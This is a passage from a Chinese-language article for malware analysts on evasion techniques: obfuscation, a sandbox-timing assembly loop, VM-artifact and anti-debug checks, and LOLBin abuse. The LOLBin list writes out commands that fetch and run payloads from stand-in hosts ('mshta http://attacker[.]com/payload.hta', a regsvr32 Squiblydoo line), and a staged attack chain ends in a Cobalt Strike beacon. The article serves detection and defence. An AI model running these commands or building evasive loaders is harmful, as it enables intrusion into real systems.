antialiased;cursor: text;font-size: 18px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">混淆（Obfuscation）</span></h3><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">混淆则是另一回事。代码完整地在那里 — 只是被刻意做得难以阅读或难以静态分析。这包括：</span></p><ul style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;padding-left: 30px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);" class="list-paddingleft-1"><li style="margin: 0px 0px 15px;"><p><span leaf="">字符串加密 — 像 &#34;VirtualAlloc&#34; 这样的 API 名在编译期被 XOR 编码，运行时再解密，从而击败基于字符串的 YARA 规则</span></p></li><li style="margin: 15px 0px;"><p><span leaf="">控制流平坦化 — 基于 LLVM 的变换（如 LLVM-Obfuscator 或 Hikari），用一个分发循环替换结构化代码，使逆向工程的难度成倍增加</span></p></li><li style="margin: 15px 0px;"><p><span leaf="">间接 API 调用 — 不再使用 CALL [VirtualAlloc]，而是通过对 PEB 模块链表进行自定义哈希遍历，在运行时解析地址</span></p></li><li style="margin: 15px 0px;"><p><span leaf="">垃圾代码插入 — 在语义上无效的指令撑大二进制体积，并扰乱模拟器</span></p></li><li style="margin: 15px 0px 0px;"><p><span leaf="">不透明谓词 — 总是只走一条路径的条件分支，但静态分析器不执行代码就无法判断这一点</span></p></li></ul><blockquote style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;border-left: 4px solid rgb(223, 226, 229);padding: 0px 15px;color: rgb(106, 115, 125);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><p style="margin: 0px;"><em><strong><span leaf="">分析师笔记</span></strong></em><span leaf="">当你做 triage（初步分析）时，关键问题不是 &#34;这是加壳还是混淆？&#34; — 而是 &#34;我能否拿到 OEP？&#34; 如果熵值很高、导入表又稀薄，那就在解壳 stub 运行之后转储进程。工具方面：x64dbg 配合 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">Scylla</span></code><span leaf="">用于导入表重建，</span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">pe-sieve</span></code><span leaf="">用于自动检测被掏空的进程，</span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">mal_unpack</span></code><span leaf="">则用于自动解开常见的 stub 模式。</span></p></blockquote><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">实战意义在于：在新版本发布后的几小时之内，针对加壳或混淆样本的静态特征码就会衰减到接近零的命中率。一个具备自动化构建流水线的威胁行为者，每天可以生成数千个独一无二的样本，每个都拥有不同的加壳密钥、不同的混淆种子、不同的编译器选项。你的 AV 数据库根本追不上这种节奏。</span></p><h3 style="font-style: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 20px 0px 10px;padding: 0px;font-weight: bold;-webkit-font-smoothing: antialiased;cursor: text;font-size: 18px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">沙箱规避：装死，直到灯灭</span></h3><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">现代恶意软件非常清楚：防御者拿到可疑文件后，第一件事就是把它扔进自动化分析系统 — Cuckoo、ANY.RUN、Hybrid Analysis、Joe Sandbox。因此，威胁行为者已经把沙箱规避当成一项一等公民级别的工程问题来对待。</span></p><blockquote style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;border-left: 4px solid rgb(223, 226, 229);padding: 0px 15px;color: rgb(106, 115, 125);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><p style="margin: 0px;"><span leaf="">&#34;如果你无法判断自己是否正被监视，就假设你正被监视 — 并据此行事。&#34; 这就是现代规避代码隐含的设计哲学。</span></p></blockquote><h3 style="font-style: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 20px 0px 10px;padding: 0px;font-weight: bold;-webkit-font-smoothing: antialiased;cursor: text;font-size: 18px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">时间与睡眠技巧</span></h3><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">最直白的做法：睡很久。大多数沙箱对样本的运行时长是 60-120 秒。一个执行前先睡 5 分钟以上的恶意软件，就能交出一份干净的报告。但沙箱厂商也已意识到这一点 — 许多沙箱现在会加速系统时间，或者 hook Sleep() 来缩短延迟。</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">更精明的回应：基于时间的校验循环。现代样本不再仅仅调用 Sleep(300000)，而是用 CPU 周期数计算一个值，然后核验预期的真实墙钟时间是否真的过去了。如果沙箱加速了时钟，周期计数就对不上，样本会悄无声息地退出。</span></p><pre style="font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 19px;background-color: rgb(246, 248, 250);font-size: 13px;overflow: auto;padding: 16px;border-radius: 3px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);"><code style="white-space:pre-wrap;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: inherit;margin: 0px;padding: 0px;background: none;border-radius: 3px;border: medium;"><span leaf="">; Time-verification loop pattern (anti-</span><span style="color: rgb(0, 92, 197);"><span leaf="">sleep</span></span><span leaf=""> acceleration)</span><span leaf=""><br/></span><span leaf="">RDTSC                         ; </span><span style="color: rgb(0, 92, 197);"><span leaf="">read</span></span><span leaf=""> timestamp counter before </span><span style="color: rgb(0, 92, 197);"><span leaf="">sleep</span></span><span leaf=""><br/></span><span leaf="">MOV [tsc_before], EAX</span><span leaf=""><br/></span><span leaf="">PUSH 60000</span><span leaf=""><br/></span><span leaf="">CALL Sleep                    ; </span><span style="color: rgb(0, 92, 197);"><span leaf="">sleep</span></span><span leaf=""> 60 seconds</span><span leaf=""><br/></span><span leaf="">RDTSC                         ; </span><span style="color: rgb(0, 92, 197);"><span leaf="">read</span></span><span leaf=""> TSC after</span><span leaf=""><br/></span><span leaf="">MOV [tsc_after], EAX</span><span leaf=""><br/></span><span leaf="">SUB EAX, [tsc_before]</span><span leaf=""><br/></span><span leaf="">CMP EAX, EXPECTED_CYCLES      ; </span><span style="color: rgb(215, 58, 73);"><span leaf="">if</span></span><span leaf=""> TSC delta too small = accelerated</span><span leaf=""><br/></span><span leaf="">JB  exit_clean                ; sandbox detected: </span><span style="color: rgb(215, 58, 73);"><span leaf="">exit</span></span><span leaf=""> silently</span></code></pre><h3 style="font-style: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 20px 0px 10px;padding: 0px;font-weight: bold;-webkit-font-smoothing: antialiased;cursor: text;font-size: 18px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">人机交互检查</span></h3><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">沙箱不会移动鼠标、点击按钮或滚动窗口。恶意软件大力利用这一点。常见的检查包括：</span></p><ul style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;padding-left: 30px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);" class="list-paddingleft-1"><li style="margin: 0px 0px 15px;"><p><span leaf="">鼠标位置增量 — 样本相隔 5 秒分别记录两次鼠标位置。如果没有移动，就假定身处沙箱</span></p></li><li style="margin: 15px 0px;"><p><span leaf="">前台窗口状态 — 通过 GetForegroundWindow() 检查是否有任何交互式窗口处于焦点状态</span></p></li><li style="margin: 15px 0px;"><p><span leaf="">最近文件访问时间戳 — 真实用户的机器最近会访问过 %APPDATA%、浏览器缓存或 Office 临时文件。沙箱不会</span></p></li><li style="margin: 15px 0px;"><p><span leaf="">剪贴板内容 — 检查剪贴板是否为空（在用户频繁复制粘贴的真实工作站上很少出现这种情况）</span></p></li><li style="margin: 15px 0px 0px;"><p><span leaf="">最近的击键记录 — GetLastInputInfo() 返回距上次用户输入的时间；如果超过 10 分钟，就假定身处分析环境</span></p></li></ul><h3 style="font-style: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 20px 0px 10px;padding: 0px;font-weight: bold;-webkit-font-smoothing: antialiased;cursor: text;font-size: 18px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">基于 artifact（环境痕迹）的检测</span></h3><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">每一种 hypervisor 和分析工具都会留下指纹。恶意软件已经把对这些痕迹的检测工业化了：</span></p><ul style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;padding-left: 30px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);" class="list-paddingleft-1"><li style="margin: 0px 0px 15px;"><p><span leaf="">注册表键 — HKLM\SOFTWARE\VMware, Inc.、VirtualBox Guest Additions 条目、QEMU 驱动的注册表标记</span></p></li><li style="margin: 15px 0px;"><p><span leaf="">设备名 — \\.\VMCI、\\.\VBoxMiniRdrDN、\\.\pipe\cuckoo</span></p></li><li style="margin: 15px 0px;"><p><span leaf="">MAC 地址 OUI — VMware 使用 00:0C:29，VirtualBox 使用 08:00:27。检测起来易如反掌</span></p></li><li style="margin: 15px 0px;"><p><span leaf="">CPUID leaf 0x40000000 — hypervisor 在这里宣告自身存在。VMwareVMware、KVMKVMKVM、Microsoft Hv 都极易被识别</span></p></li><li style="margin: 15px 0px 0px;"><p><span leaf="">进程枚举 — 检查是否存在 vboxservice.exe、vmwaretray.exe、wireshark.exe、procmon.exe、ollydbg.exe</span></p></li></ul><h3 style="font-style: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 20px 0px 10px;padding: 0px;font-weight: bold;-webkit-font-smoothing: antialiased;cursor: text;font-size: 18px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">反调试</span></h3><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">即便分析师手动附加调试器，现代恶意软件也会反击。手段从调用 IsDebuggerPresent()（极易绕过，但商业犯罪软件中仍在使用）一直延伸到更刁钻的招式：</span></p><ul style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;padding-left: 30px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);" class="list-paddingleft-1"><li style="margin: 0px 0px 15px;"><p><span leaf="">NtQueryInformationProcess 配合 ProcessDebugPort — 如果有调试器在内核层面附加，则返回非零值</span></p></li><li style="margin: 15px 0px;"><p><span leaf="">堆标志检查 — PEB 的 NtGlobalFlag 字段在调试器下会被置为 0x70；恶意软件直接从 fs:[0x30] 读取该字段</span></p></li><li style="margin: 15px 0px;"><p><span leaf="">基于异常的反调试 — 故意触发一个结构化异常；如果自定义 SEH 处理程序没有被调用（因为被调试器拦截），就中止执行</span></p></li><li style="margin: 15px 0px 0px;"><p><span leaf="">线程隐藏 — 调用 NtSetInformationThread 并传入 ThreadHideFromDebugger，使线程对附加的调试器不可见</span></p></li></ul><blockquote style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;border-left: 4px solid rgb(223, 226, 229);padding: 0px 15px;color: rgb(106, 115, 125);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><p style="margin: 0px;"><em><strong><span leaf="">为什么自动化分析会失败</span></strong></em><span leaf="">根本问题在于：沙箱是无状态的、有时间限制的，且无法复制真实终端上的用户行为上下文。沙箱可以模拟一个操作系统，却无法令人信服地伪造出长达半年的用户活动、加入域的企业环境，或拥有真实邮件历史的 Outlook 实例。高级恶意软件正是通过指纹识别这些信号 </span><em><span leaf="">的缺失</span></em><span leaf="">来判断自身是否处于分析环境。</span></p></blockquote><h3 style="font-style: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 20px 0px 10px;padding: 0px;font-weight: bold;-webkit-font-smoothing: antialiased;cursor: text;font-size: 18px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">就地取材（Living-Off-the-Land）：当武器早已在屋里</span></h3><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">最优雅的规避策略并不是隐藏恶意代码 — 而是干脆不带任何恶意代码进来。LOLBins（Living-Off-the-Land Binaries，就地取材二进制）是被攻击者重新利用的合法系统工具。它们由 Microsoft 签名，每一台 Windows 安装中都预期存在，并且在大多数应用控制策略中处于白名单。从检测的角度看，它们几乎是隐形的。</span></p><h3 style="font-style: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 20px 0px 10px;padding: 0px;font-weight: bold;-webkit-font-smoothing: antialiased;cursor: text;font-size: 18px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">2026 年的核心 LOLBin 套路</span></h3><ul style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;padding-left: 30px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);" class="list-paddingleft-1"><li style="margin: 0px 0px 15px;"><p><span leaf="">PowerShell — 仍然是主力。AMSI 绕过持续翻新，受限语言模式（constrained language mode）也可以通过较旧的 PS 版本或降级攻击来规避。基于 Invoke-ReflectivePEInjection 的反射加载，对配置不成熟的 EDR 仍然奏效</span></p></li><li style="margin: 15px 0px;"><p><span leaf="">certutil.exe — 对任意内容做 base64 解码（certutil -decode payload.b64 payload.exe），通过 -urlcache 进行缓存下载。Microsoft 签名的二进制，无处不在</span></p></li><li style="margin: 15px 0px;"><p><span leaf="">mshta.exe — 执行 HTA 文件，其中可以包含 VBScript/JScript。攻击者从自己控制的基础设施提供恶意 HTA，并通过 mshta <a href="http://attacker[.]com/payload.hta" target="_blank">http://attacker[.]com/payload.hta</a> 来调用</span></p></li><li style="margin: 15px 0px;"><p><span leaf="">wscript.exe / cscript.exe — 直接执行 JavaScript 或 VBScript。配合混淆过的 JS 投放器，这条链路可以绕过大多数 AV</span></p></li><li style="margin: 15px 0px;"><p><span leaf="">regsvr32.exe（Squiblydoo） — 经典招法：regsvr32 /s /u /n /i:<a href="http://attacker.com/payload.sct" target="_blank">http://attacker.com/payload.sct</a> scrobj.dll，从远程 URL 执行任意 COM 脚本片段。这种应用程序白名单绕过技术自 2016 年起就有公开记录，至今仍然有效</span></p></li><li style="margin: 15px 0px;"><p><span leaf="">WMI — 用于横向移动和持久化。wmic process call create 可以在没有可见父进程链的情况下创建进程。WMI 事件订阅则提供能在重启后存活的无文件持久化能力</span></p></li><li style="margin: 15px 0px;"><p><span leaf="">bitsadmin.exe / BITS — Background Intelligent Transfer Service 可以在后台静默下载文件。基于 BITS 的数据外传，其检测能力出了名地差</span></p></li><li style="margin: 15px 0px 0px;"><p><span leaf="">msiexec.exe — 执行远程 MSI 包。配合一个托管在合法云存储上的恶意 MSI，可以绕过大多数网络出站控制</span></p></li></ul><blockquote style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;border-left: 4px solid rgb(223, 226, 229);padding: 0px 15px;color: rgb(106, 115, 125);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><p style="margin: 0px;"><em><strong><span leaf="">真实攻击链示例</span></strong></em></p></blockquote><blockquote style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;border-left: 4px solid rgb(223, 226, 229);padding: 0px 15px;color: rgb(106, 115, 125);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><p style="margin: 0px;"><span leaf="">阶段 1：钓鱼邮件附带一份 Word 文档。宏通过 WMI 执行 mshta.exe，从而避免直接形成 Office → 子进程的关系（这种关系会被多数 EDR 标记）。</span></p></blockquote><blockquote style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;border-left: 4px solid rgb(223, 226, 229);padding: 0px 15px;color: rgb(106, 115, 125);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><p style="margin: 0px;"><span leaf="">阶段 2：HTA 载荷使用 certutil 解码缓存在临时目录中的、经 base64 编码的第二阶段 shellcode。</span></p></blockquote><blockquote style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;border-left: 4px solid rgb(223, 226, 229);padding: 0px 15px;color: rgb(106, 115, 125);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><p style="margin: 0px;"><span leaf="">阶段 3：PowerShell（通过 WMI 间接产生，而非直接派生）将 shellcode 反射式地加载到内存。任何 PE 文件都不会落盘。</span></p></blockquote><blockquote style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;border-left: 4px solid rgb(223, 226, 229);padding: 0px 15px;color: rgb(106, 115, 125);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><p style="margin: 0px;"><span leaf="">阶段 4：Shellcode 建立一个 Cobalt Strike beacon。C2 流量经由 HTTPS 发往一个被合法 CDN 域名前置（domain fronted）的目的地。</span></p></blockquote><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">最终结果：使用了 5 个 LOLBin，磁盘上没有任何自定义可执行文件，C2 流量看起来就像普通的网页浏览。传统 AV 什么也看不到。</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">从 SOC 的视角看，检测的难点在于信噪比。certutil.exe 在企业环境中会用于合法的证书操作。PowerShell 每天因补丁管理、备份和系统配置而被合法运行成千上万次。给每一次调用都打上标记，在运营层面根本不可行。真正的信号在于 _上下文_：是谁拉起了它？它接收了哪些参数？随后又发起了哪些网络连接？这种上下文需要跨多种遥测源进行行为关联 — 这是单纯的特征码绝对给不了你的。</span></p><h3 style="font-style: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 20px 0px 10px;padding: 0px;font-weight: bold;-webkit-font-smoothing: antialiased;cursor: text;font-size: 18px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">为什么静态分析在这场军备竞赛中节节败退</span></h3><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">基于特征码的检测从根本上是被动响应式的。它要求一个样本必须先被看到、被分析、被刻画，然后才能写出特征。而在威胁行为者每日迭代的世界里，&#34;检测 — 分析 — 出特征 — 部署&#34; 这条时间线，恰恰就是攻击者完成利用的全部窗口期。现代攻击者不仅清楚这一点，还 _围绕这一点设计自己的架构_。</span></p><h3 style="font-style: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 20px 0px 10px;padding: 0px;font-weight: bold;-webkit-font-smoothing: antialiased;cursor: text;font-size: 18px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">代码变形</span></h3><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 